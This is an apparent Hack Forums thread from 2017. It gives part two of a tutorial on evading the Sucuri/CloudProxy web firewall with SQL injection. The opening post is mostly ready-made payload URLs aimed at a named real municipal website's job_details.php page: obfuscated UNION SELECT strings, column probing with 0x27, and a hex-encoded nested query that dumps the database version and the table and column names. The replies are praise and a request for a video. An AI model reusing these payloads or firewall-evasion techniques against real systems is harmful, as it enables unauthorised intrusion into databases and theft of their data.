

Forum:[Hack Forums](#)

Thread: [\[Part-2\] How To Bypass WAF CloudProxy \[deep explanation,Full Information,Full Image\]](#)

InjectorBoy - September 4, 2017, 5:01 pm

Part Two

Part One From Here

PHP Code

```
<?php
```

```
https://hackforums.net/showthread.php?tid=5710677
```

Let's continue where I left off

good bypassing done let's add column number three

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2%2C3
```

ok now we know how to bypassing the Sucuri waf until this point, let's add all the 19's column with comment -- - at the last of the query with bypassing comma and see what will happen in the last

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19-- -
```

as we see the Vulnerability column They all appeared in the page

notic : if you need to inject with the Sucuri waf and get all table's and column's you must use methed [injection inside injection] and ignore all column number by adding 0x27 Instead .

Injection Inside Injection Query

after Encoding this query from site waraxe

PHP Code

```
<?php
```

<http://www.waraxe.us/sql-char-encoder.html>

the query after will be like that

PHP Code

```
<?php
```

```
0x2e312720556e494f4e2053656c45637420312c636f6e6361742827496e6a6563746f72426f79203a3a20272c76657273696f6e28292c223c42723e222c6d616b655f73657428362c403a3d307830612c2873656c65637428312966726f6d28696e666f726d6174696f6e5f736368656d612e636f6c756d6e73297768657265403a3d6d616b655f736574283531312c402c307833633663363933652c7461626c655f6e616d652c636f6c756d6e5f6e616d6529292c4029292c332c342d2d202d
```

new we will adding this query in column number ... what ?

in method injection inside injection We must test all columns by using 0x27 that's ignore them and the column that's gave us sql error that's the column will be used as the injection point to our coding by hex let's do it and see what will happen .

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~0x27,2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19-- -
```

nothing happen let's see number two

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,0x27%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19-- -
```

Sucuri waf let's see number three

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2%2C0x27%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19-- -
```

sqli error , This is the column in which we will inject the code like

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2%2C0x2e312720556e494f4e2053656c45637420312c636f6e6361742827496e6a6563746f72426f79203a3a20272c76657273696f6e28292c223c42723e222c6d616b655f73657428362c403a3d30783061
```

2c2873656c65637428312966726f6d28696e666f726d6174696f6e5f736368656d612e636f6c756d6e73297768657265403a3d6d616b655f736574283531312c402c307833633663363933652c7461626c655f6e616d652c636f6c756d6e5f6e616d6529292c4029292c332c342d2d20%32%64%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19-- -

we get Sucuri waf , just need to bupassing last two word's with number in our coding 2d by Encoding like %32%64 or more if not working

PHP Code

<?php

cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2%2C0x2e312720556e494f4e2053656c45637420312c636f6e6361742827496e6a6563746f72426f79203a3a20272c76657273696f6e28292c223c42723e222c6d616b655f73657428362c403a3d307830612c2873656c65637428312966726f6d28696e666f726d6174696f6e5f736368656d612e636f6c756d6e73297768657265403a3d6d616b655f736574283531312c402c307833633663363933652c7461626c655f6e616d652c636f6c756d6e5f6e616d6529292c4029292c332c342d2d20%32%64%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19-- -

WOW , we get all information we need and bypassing the Sucuri waf is done

I hope I have done well in this explanation

Regards

rawaz karim - September 4, 2017, 5:23 pm

very nice tut thx bro well explanation

InjectorBoy - September 4, 2017, 6:37 pm

(Sep 4, 2017 05:23 PM)rawaz karim Wrote: [\[CITE\]](#) very nice tut thx bro well explanation
thx my friend glad to hear that

Inject0r Killer - September 4, 2017, 9:43 pm

You Should Mention The Name Of Person ! Whose Challenge It Was Or Whose Solution You Are Explaining .. Thanks ?

kmhacker - September 5, 2017, 12:38 am

=====nice share bro=====

InjectorBoy - September 5, 2017, 1:44 am

(Sep 5, 2017 12:38 AM)kmhacker Wrote: [\[CITE\]](#) =====nice share
bro=====

thx my friend

Cain_ - September 5, 2017, 5:36 am

Thank you for sharing your very complete information.

InjectorBoy - September 5, 2017, 10:45 am

(Sep 5, 2017 05:36 AM)GoldenEra Wrote: [\[CITE\]](#) Thank you for sharing your very complete information.

you are wellcome my friend ?

(Sep 4, 2017 09:43 PM)Inject0r Killer Wrote: [\[CITE\]](#) You Should Mention The Name Of Person !
Whose Challenge It Was Or Whose Solution You Are Explaining .. Thanks ?
hi my friend I found site in 23/7/2017 here

PHP Code

<?php

<https://hackforums.net/showthread.php?tid=5676557&pid=55419145#pid55419145>

and sir r3dcat guided me until I dissolved this site by my self befor you make it chall as 3 week's

Regards ?

Inject0r Killer - September 6, 2017, 1:27 am

(Sep 5, 2017 10:45 AM)InjectorBoy Wrote: [\[CITE\]](#) hi my friend I found site in 23/7/2017 here

PHP Code

<?php

<https://hackforums.net/showthread.php?tid=5676557&pid=55419145#pid55419145>

and sir r3dcat guided me until I dissolved this site by my self befor you make it chall as 3 week's

Regards ?

Write Or Not Its Up To You ?

PS :

I Am Not Concerned With It .. Thanks ?

MgTharCho311 - September 7, 2017, 5:14 am

Can you upload a video about this tutorial, please?XD
it will help to catch your point easily, I think bro.

Gardener Jim - September 8, 2017, 4:41 pm

Cheers for the info :)

32 chars.....

teampoison - September 8, 2017, 7:35 pm

very nice tutorial thanks for sharing

InjectorBoy - September 9, 2017, 9:18 pm

thank you so much my friends